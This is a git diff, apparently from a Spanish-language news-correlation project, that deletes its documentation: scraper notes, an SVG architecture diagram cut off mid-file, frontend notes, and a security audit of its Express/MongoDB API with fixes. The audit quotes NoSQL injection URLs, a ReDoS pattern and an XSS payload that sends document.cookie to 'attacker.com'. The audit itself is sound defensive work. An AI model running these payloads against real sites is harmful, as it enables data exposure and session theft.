FLUJOS_DATOS/WIKIPEDIA/main.py
|
|
||||||
```
|
|
||||||
|
|
||||||
Desde el directorio `FLUJOS_DATOS/WIKIPEDIA/` para que las rutas relativas (`articulos_wikipedia/`) funcionen.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitaciones conocidas
|
|
||||||
|
|
||||||
1. **Sin fecha en artículos Wikipedia** — El scraper no extrae la fecha de revisión. El campo `fecha` queda en `null` o vacío en Mongo, lo que rompe los filtros de fecha en la API.
|
|
||||||
2. **Nombres duplicados potenciales** — Artículos con títulos similares generan el mismo nombre de fichero después de la limpieza.
|
|
||||||
3. **No hay control de idioma** — Si un keyword es un acrónimo (NSA, CIA), puede devolver artículos en inglés mezclados con los españoles.
|
|
||||||
4. **Tokenización trunca a 512 tokens** — Artículos largos pierden la segunda mitad para el cálculo de similitud.
|
|
||||||
5. **Sin rate limiting robusta** — Solo `time.sleep(1)` entre keywords, pero la Wikipedia API tiene un límite de 200 req/s por IP (raramente alcanzado).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Dependencias
|
|
||||||
|
|
||||||
```
|
|
||||||
transformers>=4.45 (BertTokenizer)
|
|
||||||
tqdm
|
|
||||||
requests
|
|
||||||
pymongo
|
|
||||||
```
|
|
||||||
|
|
||||||
BERT (`dccuchile/bert-base-spanish-wwm-cased`) se descarga automáticamente en el primer uso (~500 MB, se cachea en `~/.cache/huggingface/`).
|
|
||||||
|
|
@ -1,239 +0,0 @@
|
||||||
# Seguridad — FLUJOS
|
|
||||||
|
|
||||||
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
|
|
||||||
|
|
||||||
## Estado
|
|
||||||
|
|
||||||
**Todas las vulnerabilidades de este documento están corregidas.** Lo que sigue es el
|
|
||||||
registro de la auditoría y de las mitigaciones que se aplicaron, no una lista de agujeros
|
|
||||||
abiertos. Se conserva porque explica por qué el código valida como valida.
|
|
||||||
|
|
||||||
Comprobable en `FLUJOS/BACK_BACK/FLUJOS_APP.js`:
|
|
||||||
|
|
||||||
| Mitigación | Dónde |
|
|
||||||
|---|---|
|
|
||||||
| Bind sólo a loopback | `app.listen(port, '127.0.0.1', ...)` |
|
|
||||||
| Helmet + CSP propia | `app.use(helmet())` y `helmet.contentSecurityPolicy` |
|
|
||||||
| Rechazo de operadores Mongo | `sanitizeParam()` descarta todo lo que no sea string |
|
|
||||||
| Lista blanca de temas | `TEMAS_VALIDOS` |
|
|
||||||
| Escape de metacaracteres | en `palabraClave`, antes de construir el `$regex` |
|
|
||||||
| Rate limiting | en el buzón de envíos |
|
|
||||||
| Panel admin fail-closed | `requireAdmin`, token por env o fichero fuera del webroot |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Auditoría original
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Vulnerabilidades encontradas
|
|
||||||
|
|
||||||
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
|
|
||||||
|
|
||||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 57–72
|
|
||||||
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
|
|
||||||
|
|
||||||
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
|
|
||||||
|
|
||||||
**Vectores explotables:**
|
|
||||||
```
|
|
||||||
GET /api/data?tema[$ne]=nada&nodos=500
|
|
||||||
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
|
|
||||||
|
|
||||||
GET /api/data?tema[$gt]=&nodos=500
|
|
||||||
→ Equivalente a "todos los documentos donde tema > ''"
|
|
||||||
|
|
||||||
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
|
|
||||||
→ Itera toda la subcolección
|
|
||||||
|
|
||||||
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
|
|
||||||
→ Fuerza error de tipo, puede revelar stack traces en logs
|
|
||||||
```
|
|
||||||
|
|
||||||
**Fix (10 min):**
|
|
||||||
```javascript
|
|
||||||
// En FLUJOS_APP.js, justo después de desestructurar req.query:
|
|
||||||
function sanitizeParam(val) {
|
|
||||||
if (typeof val !== 'string') return undefined;
|
|
||||||
return val.trim();
|
|
||||||
}
|
|
||||||
const tema = sanitizeParam(req.query.tema);
|
|
||||||
const subtematica = sanitizeParam(req.query.subtematica);
|
|
||||||
const palabraClave = sanitizeParam(req.query.palabraClave);
|
|
||||||
const fechaInicio = sanitizeParam(req.query.fechaInicio);
|
|
||||||
const fechaFin = sanitizeParam(req.query.fechaFin);
|
|
||||||
const nodos = sanitizeParam(req.query.nodos);
|
|
||||||
const complejidad = sanitizeParam(req.query.complejidad);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
|
|
||||||
|
|
||||||
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
|
|
||||||
|
|
||||||
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
|
|
||||||
|
|
||||||
```
|
|
||||||
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
|
|
||||||
```
|
|
||||||
|
|
||||||
**Fix (1 línea):**
|
|
||||||
```javascript
|
|
||||||
// FLUJOS_APP.js línea 235:
|
|
||||||
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
|
|
||||||
|
|
||||||
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 90–92
|
|
||||||
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
|
|
||||||
|
|
||||||
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
|
|
||||||
```javascript
|
|
||||||
detailPanel.innerHTML = `
|
|
||||||
<h2>Detalle</h2>
|
|
||||||
<pre>${content || 'No hay contenido disponible.'}</pre>
|
|
||||||
`;
|
|
||||||
```
|
|
||||||
|
|
||||||
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
```javascript
|
|
||||||
const pre = document.createElement('pre');
|
|
||||||
pre.textContent = content || 'No hay contenido disponible.';
|
|
||||||
const h2 = document.createElement('h2');
|
|
||||||
h2.textContent = 'Detalle';
|
|
||||||
detailPanel.replaceChildren(h2, pre);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
|
|
||||||
|
|
||||||
**Archivo:** `FLUJOS_APP.js` línea 72
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
|
||||||
```
|
|
||||||
|
|
||||||
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
```javascript
|
|
||||||
if (palabraClave) {
|
|
||||||
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
|
|
||||||
res.status(400).json({ error: 'palabraClave inválida' });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// Escapar metacaracteres regex
|
|
||||||
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
|
||||||
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🟠 ALTA 3 — Sin rate limiting
|
|
||||||
|
|
||||||
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
```bash
|
|
||||||
npm install express-rate-limit
|
|
||||||
```
|
|
||||||
```javascript
|
|
||||||
const rateLimit = require('express-rate-limit');
|
|
||||||
app.use('/api/', rateLimit({
|
|
||||||
windowMs: 60 * 1000, // 1 minuto
|
|
||||||
max: 60, // 60 peticiones por minuto por IP
|
|
||||||
standardHeaders: true,
|
|
||||||
legacyHeaders: false,
|
|
||||||
}));
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
|
|
||||||
|
|
||||||
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
|
|
||||||
|
|
||||||
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
|
|
||||||
|
|
||||||
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
|
|
||||||
|
|
||||||
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
|
|
||||||
|
|
||||||
**Fix:**
|
|
||||||
```javascript
|
|
||||||
app.use(helmet()); // activa todo por defecto
|
|
||||||
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fixes aplicados (2026-04-22)
|
|
||||||
|
|
||||||
Todos los ítems críticos y altos han sido corregidos en producción:
|
|
||||||
|
|
||||||
| # | Vulnerabilidad | Fix aplicado |
|
|
||||||
|---|---|---|
|
|
||||||
| 1 | NoSQL Injection | `sanitizeParam()` + `TEMAS_VALIDOS` whitelist |
|
|
||||||
| 2 | Puerto 3000 público | `app.listen(port, '127.0.0.1', ...)` |
|
|
||||||
| 3 | XSS stored innerHTML | `textContent` + DOM API en `output_int_sec.js` y `3dscript_eco-corp.html` |
|
|
||||||
| 4 | ReDoS palabraClave | Escape de metacaracteres + límite 100 chars |
|
|
||||||
| 5 | Helmet parcial | `app.use(helmet())` completo + CSP sin `unsafe-inline` |
|
|
||||||
| 6 | CSRF | Filtro Origin en `/api/` |
|
|
||||||
| 7 | Body flooding | `bodyParser limit: '10kb'` |
|
|
||||||
|
|
||||||
**Pendiente sin fix:** Rate limiting (express-rate-limit no instalado).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Lo que está bien
|
|
||||||
|
|
||||||
| Componente | Estado |
|
|
||||||
|---|---|
|
|
||||||
| HTTPS con Let's Encrypt | Activo en nginx |
|
|
||||||
| MongoDB en 127.0.0.1 | No expuesto al exterior |
|
|
||||||
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
|
|
||||||
| Helmet completo | Activo desde 2026-04-22 |
|
|
||||||
| No hay SQL injection | BD es MongoDB, no SQL |
|
|
||||||
| No directory listing en /wiki-images/ | Express static lo rechaza |
|
|
||||||
| HTTP → HTTPS redirect | Configurado en nginx |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Configuración nginx relevante
|
|
||||||
|
|
||||||
```
|
|
||||||
/etc/nginx/sites-enabled/upleaks.org
|
|
||||||
├── HTTP :80 → redirect 301 HTTPS
|
|
||||||
├── HTTPS :443 ssl http2 (Let's Encrypt)
|
|
||||||
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
|
|
||||||
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
|
|
||||||
```
|
|
||||||
|
|
||||||
El backend Node escucha únicamente en `127.0.0.1:3000`, así que nginx no es un proxy
|
|
||||||
opcional: es la única vía de entrada.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Orden en que se aplicaron los fixes
|
|
||||||
|
|
||||||
| # | Vulnerabilidad | Impacto | Esfuerzo |
|
|
||||||
|---|---|---|---|
|
|
||||||
| 1 | NoSQL Injection | CRÍTICO | 10 min |
|
|
||||||
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
|
|
||||||
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
|
|
||||||
| 4 | ReDoS via palabraClave | ALTO | 10 min |
|
|
||||||
| 5 | Rate limiting | ALTO | 15 min |
|
|
||||||
| 6 | CSP unsafe-inline | MEDIO | 30 min |
|
|
||||||
| 7 | Helmet completo | MEDIO | 5 min |
|
|
||||||
|
|
@ -1,231 +0,0 @@
|
||||||
# Visualización JavaScript — Contexto técnico FLUJOS
|
|
||||||
**Fecha:** 2026-04-21
|
|
||||||
**Directorio:** `FLUJOS/VISUALIZACION/public/`
|
|
||||||
**Backend:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Arquitectura general
|
|
||||||
|
|
||||||
```
|
|
||||||
upleaks.org (nginx)
|
|
||||||
├── / → archivos estáticos desde VISUALIZACION/public/
|
|
||||||
└── /api/ → proxy a Node.js :3000
|
|
||||||
└── GET /api/data?tema=...&nodos=...&complejidad=...
|
|
||||||
└── MongoDB FLUJOS_DATOS
|
|
||||||
```
|
|
||||||
|
|
||||||
El frontend es **vanilla JS sin framework**, todo en ficheros `.js` planos. Cada vista (`glob-war`, `int-sec`, `climate`, etc.) tiene su propio script de grafo 3D.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Dependencias externas (CDN)
|
|
||||||
|
|
||||||
```html
|
|
||||||
<!-- D3.js v6 — simulación de fuerzas -->
|
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
|
|
||||||
|
|
||||||
<!-- Three.js r168 — renderer WebGL, Sprite, TextureLoader -->
|
|
||||||
<script src="https://unpkg.com/three@0.168/build/three.min.js"></script>
|
|
||||||
|
|
||||||
<!-- 3d-force-graph — wrapper de Three.js para grafos de fuerza 3D -->
|
|
||||||
<script src="https://unpkg.com/3d-force-graph"></script>
|
|
||||||
```
|
|
||||||
|
|
||||||
Three.js debe cargarse ANTES de 3d-force-graph o `THREE` no estará disponible globalmente cuando el grafo intente usarlo para los Sprite.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## API — Endpoint único
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /api/data
|
|
||||||
```
|
|
||||||
|
|
||||||
Parámetros de query:
|
|
||||||
|
|
||||||
| Param | Tipo | Descripción |
|
|
||||||
|---|---|---|
|
|
||||||
| `tema` | string (obligatorio) | Tema principal de la consulta |
|
|
||||||
| `subtematica` | string | Filtro por subtema |
|
|
||||||
| `palabraClave` | string | Búsqueda `$regex` en campo `texto` |
|
|
||||||
| `fechaInicio` | `YYYY-MM-DD` | Rango inicio |
|
|
||||||
| `fechaFin` | `YYYY-MM-DD` | Rango fin |
|
|
||||||
| `nodos` | int (máx. 500) | Límite de nodos de texto |
|
|
||||||
| `complejidad` | float | Similitud mínima (%) para los enlaces |
|
|
||||||
|
|
||||||
**Respuesta:**
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"nodes": [
|
|
||||||
{ "id": "archivo.txt", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "texto" },
|
|
||||||
{ "id": "imagen.jpg", "group": "subtema", "tema": "...", "content": "...", "fecha": "...", "type": "imagen", "image_url": "/wiki-images/tema/img.jpg", "label": "subtema" }
|
|
||||||
],
|
|
||||||
"links": [
|
|
||||||
{ "source": "archivo_A.txt", "target": "archivo_B.txt", "value": 23.45 }
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
El backend limita imágenes a `max(3, floor(nodosLimit / 3))` para escalar proporcionalmente con los nodos de texto.
|
|
||||||
Prefiere `imagenes` (analizadas con Qwen) sobre `imagenes_wiki` (fallback scrapeado).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Estructura de un script de grafo (patrón base)
|
|
||||||
|
|
||||||
Todos los scripts (`output_glob_war.js`, `output_int_sec.js`, etc.) siguen el mismo patrón:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
|
||||||
const elem = document.getElementById('contenedorContainer');
|
|
||||||
|
|
||||||
// 1. Inicializar grafo
|
|
||||||
const graph = ForceGraph3D()(elem)
|
|
||||||
.backgroundColor('#000000')
|
|
||||||
.nodeLabel(node => node.type === 'imagen' ? (node.label || node.id) : node.id)
|
|
||||||
.nodeAutoColorBy('group')
|
|
||||||
.nodeVal(node => node.type === 'imagen' ? 0 : 2) // 0 = sin esfera para imágenes
|
|
||||||
.linkColor(() => 'rgba(0,255,80,0.4)')
|
|
||||||
.onNodeClick(node => showNodeContent(node.content))
|
|
||||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
|
||||||
.nodeThreeObject(node => { /* Sprite para imágenes */ })
|
|
||||||
.nodeThreeObjectExtend(false)
|
|
||||||
.forceEngine('d3')
|
|
||||||
.d3Force('charge', d3.forceManyBody().strength(-10))
|
|
||||||
.d3Force('link', d3.forceLink().distance(30).strength(1));
|
|
||||||
|
|
||||||
// 2. Fetch de datos
|
|
||||||
async function getData(paramsObj = {}) { ... }
|
|
||||||
|
|
||||||
// 3. Renderizar
|
|
||||||
async function fetchAndRender() { ... }
|
|
||||||
|
|
||||||
// 4. Evento del formulario
|
|
||||||
document.getElementById('paramForm').addEventListener('submit', e => {
|
|
||||||
e.preventDefault();
|
|
||||||
fetchAndRender();
|
|
||||||
});
|
|
||||||
|
|
||||||
// 5. Carga inicial
|
|
||||||
fetchAndRender();
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Nodos de imagen — THREE.Sprite
|
|
||||||
|
|
||||||
Los nodos de tipo `imagen` usan un Sprite de Three.js en lugar de la esfera por defecto:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const textureCache = {};
|
|
||||||
|
|
||||||
function getTexture(url) {
|
|
||||||
if (!textureCache[url]) {
|
|
||||||
textureCache[url] = new THREE.TextureLoader().load(url);
|
|
||||||
}
|
|
||||||
return textureCache[url];
|
|
||||||
}
|
|
||||||
|
|
||||||
// En nodeThreeObject:
|
|
||||||
.nodeThreeObject(node => {
|
|
||||||
if (node.type !== 'imagen' || !node.image_url) return null;
|
|
||||||
|
|
||||||
const texture = getTexture(node.image_url);
|
|
||||||
texture.colorSpace = THREE.SRGBColorSpace; // corrección de color
|
|
||||||
|
|
||||||
const material = new THREE.SpriteMaterial({ map: texture, depthWrite: false });
|
|
||||||
const sprite = new THREE.Sprite(material);
|
|
||||||
sprite.scale.set(14, 9, 1); // proporción 14:9 ≈ 16:9
|
|
||||||
return sprite;
|
|
||||||
})
|
|
||||||
.nodeThreeObjectExtend(false) // false = reemplaza la esfera, no la extiende
|
|
||||||
```
|
|
||||||
|
|
||||||
`getTexture` cachea las texturas para no recargar la misma imagen cada vez que el grafo se actualiza.
|
|
||||||
|
|
||||||
`depthWrite: false` evita artefactos de z-fighting entre sprites que se superponen.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Archivos por vista
|
|
||||||
|
|
||||||
| Vista | HTML | Script |
|
|
||||||
|---|---|---|
|
|
||||||
| Index / Home | `index.html` | ninguno (estático) |
|
|
||||||
| Glob-War | `glob-war.html` | `output_glob_war_pruebas.js` |
|
|
||||||
| Int-Sec | `int-sec.html` | `output_int_sec.js` |
|
|
||||||
| Climate | `climate.html` | `climate.js` / `output_climate_pruebas.js` |
|
|
||||||
| Eco-Corp | `eco-corp.html` | `output_eco_corp_pruebas.js` |
|
|
||||||
| Popl-Up | `popl-up.html` | `output_popl_up_pruebas.js` / `output_popl_up.js` |
|
|
||||||
|
|
||||||
Los ficheros `*_pruebas.js` son la versión en desarrollo activo (son los referenciados en los HTML). Los sin `_pruebas` son versiones anteriores o de referencia.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Formulario de parámetros (sidebar)
|
|
||||||
|
|
||||||
```html
|
|
||||||
<form id="paramForm">
|
|
||||||
<input type="date" id="fecha_inicio">
|
|
||||||
<input type="date" id="fecha_fin">
|
|
||||||
<input type="number" id="nodos" value="100">
|
|
||||||
<input type="range" id="complejidad" min="1" max="40" value="20">
|
|
||||||
<input type="text" id="param1"> <!-- palabraClave -->
|
|
||||||
<input type="color" id="color1"> <!-- sin uso en backend aún -->
|
|
||||||
<input type="text" id="param2"> <!-- subtematica -->
|
|
||||||
<input type="color" id="color2"> <!-- sin uso en backend aún -->
|
|
||||||
<input type="submit" value="Aplicar">
|
|
||||||
</form>
|
|
||||||
```
|
|
||||||
|
|
||||||
`color1` y `color2` están en el HTML pero el backend los ignora. Están pendientes de implementar para colorear nodos por grupo.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Filtrado client-side de enlaces
|
|
||||||
|
|
||||||
Además del filtro de `complejidad` en el backend (`porcentaje_similitud >= X`), el cliente aplica un segundo filtro eliminando enlaces cuyos nodos no existan en la respuesta:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
const nodeIds = new Set(data.nodes.map(n => n.id));
|
|
||||||
data.links = data.links.filter(l => nodeIds.has(l.source) && nodeIds.has(l.target));
|
|
||||||
```
|
|
||||||
|
|
||||||
Esto previene errores de 3d-force-graph cuando llegan enlaces a nodos que no se devolvieron por el límite.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Backend Node.js — FLUJOS_APP.js
|
|
||||||
|
|
||||||
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js`
|
|
||||||
**Puerto:** 3000 (configurado en `.env`)
|
|
||||||
**Proceso:** gestionado manualmente (falta configurar como systemd service)
|
|
||||||
|
|
||||||
Rutas:
|
|
||||||
```
|
|
||||||
GET / → glob-war.html (redirige a index.html)
|
|
||||||
GET /api/data → endpoint de datos
|
|
||||||
GET /wiki-images/* → estático desde IMAGENES/output/wiki_images/
|
|
||||||
GET /* → archivos estáticos desde VISUALIZACION/public/
|
|
||||||
```
|
|
||||||
|
|
||||||
La CSP actual (Helmet) permite `unsafe-inline` en scripts — pendiente de corregir (ver SEGURIDAD.md).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Imágenes wiki — ruta física a URL
|
|
||||||
|
|
||||||
```
|
|
||||||
Disco: $FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
|
|
||||||
Express: app.use('/wiki-images', express.static('.../wiki_images'))
|
|
||||||
URL: https://upleaks.org/wiki-images/{tema_slug}/{archivo}
|
|
||||||
```
|
|
||||||
|
|
||||||
El backend construye `image_url` en el API:
|
|
||||||
```javascript
|
|
||||||
const WIKI_IMAGES_BASE = '$FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/';
|
|
||||||
const relativePath = result.image_path.replace(WIKI_IMAGES_BASE, '');
|
|
||||||
image_url = `/wiki-images/${relativePath}`;
|
|
||||||
```
|
|
||||||
|
Before Width: | Height: | Size: 329 KiB |
|
Before Width: | Height: | Size: 46 KiB |
|
Before Width: | Height: | Size: 191 KiB |
|
Before Width: | Height: | Size: 127 KiB |
|
Before Width: | Height: | Size: 123 KiB |
|
Before Width: | Height: | Size: 374 KiB |
|
Before Width: | Height: | Size: 124 KiB |
|
|
@ -1,81 +0,0 @@
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 770" width="1500" height="770" font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" aria-label="Arquitectura de UP-LEAKS: fuentes, workers, base de datos, correlacion, API y visualizacion">
|
|
||||||
<defs>
|
|
||||||
<marker id="a1" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#39ff14" opacity="0.85"/></marker>
|
|
||||||
<marker id="a2" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#3ad6ff" opacity="0.85"/></marker>
|
|
||||||
<marker id="a3" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#ffb020" opacity="0.85"/></marker>
|
|
||||||
<marker id="a4" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#ff5ea8" opacity="0.85"/></marker>
|
|
||||||
</defs>
|
|
||||||
<rect width="1500" height="770" fill="#050505"/>
|
|
||||||
<text x="46" y="54" fill="#39ff14" font-size="27" font-weight="bold" letter-spacing="3">ARQUITECTURA</text>
|
|
||||||
<text x="46" y="80" fill="#8a938a" font-size="14">De la fuente al grafo. Cada bloque es un proceso independiente; se comunican solo por MongoDB.</text>
|
|
||||||
<line x1="46" y1="96" x2="1454" y2="96" stroke="#39ff14" stroke-opacity="0.28"/>
|
|
||||||
<rect x="46" y="130" width="300" height="174" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="62" y="156" fill="#3ad6ff" font-size="13" letter-spacing="1.5">FUENTES</text>
|
|
||||||
<text x="62" y="190" fill="#8a938a" font-size="12.5">236 feeds RSS</text>
|
|
||||||
<text x="330" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">5 idiomas</text>
|
|
||||||
<text x="62" y="220" fill="#8a938a" font-size="12.5">API de Wikipedia</text>
|
|
||||||
<text x="330" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">28.266</text>
|
|
||||||
<text x="62" y="250" fill="#8a938a" font-size="12.5">WikiLeaks</text>
|
|
||||||
<text x="330" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">36.182</text>
|
|
||||||
<text x="62" y="280" fill="#8a938a" font-size="12.5">buzón de envíos</text>
|
|
||||||
<text x="330" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">periodistas</text>
|
|
||||||
<rect x="402" y="130" width="320" height="174" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="418" y="156" fill="#39ff14" font-size="13" letter-spacing="1.5">WORKERS · coconews/</text>
|
|
||||||
<text x="418" y="190" fill="#8a938a" font-size="12.5">ingestor.py</text>
|
|
||||||
<text x="706" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">cada 15 min</text>
|
|
||||||
<text x="418" y="220" fill="#8a938a" font-size="12.5">translator.py</text>
|
|
||||||
<text x="706" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">→ español</text>
|
|
||||||
<text x="418" y="250" fill="#8a938a" font-size="12.5">ner.py</text>
|
|
||||||
<text x="706" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">spaCy</text>
|
|
||||||
<text x="418" y="280" fill="#8a938a" font-size="12.5">embedder.py</text>
|
|
||||||
<text x="706" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">MiniLM 384d</text>
|
|
||||||
<rect x="778" y="130" width="340" height="234" rx="4" fill="#0d0f0d" stroke="#ffb020" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="794" y="156" fill="#ffb020" font-size="13" letter-spacing="1.5">MONGODB · FLUJOS_DATOS</text>
|
|
||||||
<text x="794" y="190" fill="#8a938a" font-size="12.5">noticias</text>
|
|
||||||
<text x="1102" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">98.110</text>
|
|
||||||
<text x="794" y="220" fill="#8a938a" font-size="12.5">wikipedia</text>
|
|
||||||
<text x="1102" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">28.266</text>
|
|
||||||
<text x="794" y="250" fill="#8a938a" font-size="12.5">torrents</text>
|
|
||||||
<text x="1102" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">36.182</text>
|
|
||||||
<text x="794" y="280" fill="#8a938a" font-size="12.5">embeddings_chunks</text>
|
|
||||||
<text x="1102" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">531.306</text>
|
|
||||||
<text x="794" y="310" fill="#8a938a" font-size="12.5">coconews_entidades</text>
|
|
||||||
<text x="1102" y="310" fill="#5a625a" font-size="11.5" text-anchor="end">76.857</text>
|
|
||||||
<text x="794" y="340" fill="#8a938a" font-size="12.5">comparaciones</text>
|
|
||||||
<text x="1102" y="340" fill="#5a625a" font-size="11.5" text-anchor="end">115M</text>
|
|
||||||
<rect x="1154" y="130" width="300" height="204" rx="4" fill="#0d0f0d" stroke="#ff5ea8" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="1170" y="156" fill="#ff5ea8" font-size="13" letter-spacing="1.5">APIs</text>
|
|
||||||
<text x="1170" y="190" fill="#8a938a" font-size="12.5">FLUJOS_APP.js</text>
|
|
||||||
<text x="1438" y="190" fill="#5a625a" font-size="11.5" text-anchor="end">:3000</text>
|
|
||||||
<text x="1170" y="220" fill="#8a938a" font-size="12.5"> /api/data</text>
|
|
||||||
<text x="1438" y="220" fill="#5a625a" font-size="11.5" text-anchor="end">grafo</text>
|
|
||||||
<text x="1170" y="250" fill="#8a938a" font-size="12.5"> /api/stats</text>
|
|
||||||
<text x="1438" y="250" fill="#5a625a" font-size="11.5" text-anchor="end">métricas</text>
|
|
||||||
<text x="1170" y="280" fill="#8a938a" font-size="12.5"> /api/submit</text>
|
|
||||||
